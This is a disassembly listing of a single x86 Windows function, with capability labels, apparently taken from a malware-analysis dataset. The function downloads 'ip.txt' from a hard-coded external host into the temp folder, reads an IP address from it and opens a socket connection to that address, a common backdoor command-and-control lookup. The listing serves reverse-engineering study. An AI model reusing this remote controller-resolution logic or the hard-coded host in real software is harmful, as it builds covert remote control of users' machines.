Function at 0x403d10
Capabilities:
Get common file path
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40b520
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x970
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x10], esp
push str.http:__photo.bjlyfz.com_download_ip.txt
lea ecx, [ebp - 0x20]
call fcn.004085dc
lea eax, [ebp - 0x174]
mov dword [ebp - 4], 0
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x174]
push ecx
lea ecx, [ebp - 0x1c]
call fcn.004085dc
push 0
push 0
push 0
push 0
push 1
push 0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CInternetSession::CInternetSession
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call fcn.004084c2
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 3
call fcn.004084c2
lea edx, [ebp - 0x30]
lea eax, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x34]
push ecx
push edx
push eax
mov byte [ebp - 4], 4
call sub.MFC42.DLL_AfxParseURL
cmp dword [ebp - 0x34], 3
jne 0x403fbb
push 0
lea ecx, [ebp - 0x28]
push 4
mov ebx, 5
push ecx
push 2
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x28], ebx
call sub.MFC42.DLL_CInternetSession::SetOption
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
push 0
push 0
push edx
push eax
lea ecx, [ebp - 0x48]
call sub.MFC42.DLL_CInternetSession::GetHttpConnection
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x14]
push 0
push 0
push ecx
push edx
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CInternetSession::GetHttpConnection
mov ecx, dword [ebp - 0x18]
push 0x20200010
push 0
push 0
push 1
push 0
push ecx
push 1
mov ecx, eax
mov dword [ebp - 4], 4
call sub.MFC42.DLL_CHttpConnection::OpenRequest
push 0
mov esi, eax
push 0
push 0
push 0
mov ecx, esi
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 7
call sub.MFC42.DLL_CHttpFile::SendRequest
test esi, esi
mov dword [ebp - 4], 4
je 0x403ee8
lea ecx, [ebp - 0x70]
call sub.MFC42.DLL_CStdioFile::CStdioFile
lea edx, [ebp - 0x1c]
push str.ip.txt
lea eax, [ebp - 0x28]
mov bl, 9
push edx
push eax
mov byte [ebp - 4], bl
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push 0
push 0x9001
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0xa
call sub.MFC42.DLL_CStdioFile::Open
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
mov edx, dword [esi]
lea eax, [ebp - 0x974]
push 0x800
push eax
mov ecx, esi
call dword [edx + 0x3c]
test eax, eax
jle 0x403ecd
lea ecx, [ebp - 0x974]
push eax
push ecx
lea ecx, [ebp - 0x70]
call sub.MFC42.DLL_CStdioFile::Write
mov edx, dword [esi]
lea eax, [ebp - 0x974]
push 0x800
push eax
mov ecx, esi
call dword [edx + 0x3c]
test eax, eax
jg 0x403ea6
lea ecx, [ebp - 0x70]
call sub.MFC42.DLL_CStdioFile::Close
mov edx, dword [esi]
mov ecx, esi
call dword [edx + 0x54]
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 4
call fcn.00408648
lea ecx, [ebp - 0x5c]
call sub.MFC42.DLL_CStdioFile::CStdioFile
lea eax, [ebp - 0x1c]
push str.ip.txt
lea ecx, [ebp - 0x28]
mov bl, 0xb
push eax
push ecx
mov byte [ebp - 4], bl
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push 0
push 0
push eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 0xc
call sub.MFC42.DLL_CStdioFile::Open
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push 0x40fcd0
lea ecx, [ebp - 0x5c]
call sub.MFC42.DLL_CStdioFile::ReadString
lea ecx, [ebp - 0x5c]
call sub.MFC42.DLL_CStdioFile::Close
push 0x40fcd0
lea ecx, [ebp - 0x24]
call sub.MFC42.DLL_CString::CString_1
push 0
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0xd
call sub.MFC42.DLL_CString::GetBuffer
push 0xffffffffffffffff
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x2c], eax
call sub.MFC42.DLL_CString::ReleaseBuffer
push edi
lea esi, [edi + 0x6c]
push 0x403880
push 0
push 1
mov ecx, esi
call fcn.00405a90
test eax, eax
jne 0x403fa4
mov edx, dword [ebp - 0x2c]
push edx
call sub.WSOCK32.dll_inet_addr
mov ecx, edi
mov dword [ebp - 0x2c], eax
call fcn.004048b0
mov edx, dword [esi]
push eax
mov eax, dword [ebp - 0x2c]
mov ecx, esi
push eax
call dword [edx + 0xc]
test eax, eax
je 0x40400d
mov edx, dword [esi]
mov ecx, esi
call dword [edx + 8]
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 4
call fcn.00408648
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 1
call fcn.004087f8
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, edi
call fcn.00404380
lea ecx, [ebp - 0x24]
mov esi, eax
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 4
call fcn.00408648
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 1
call fcn.004087f8
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret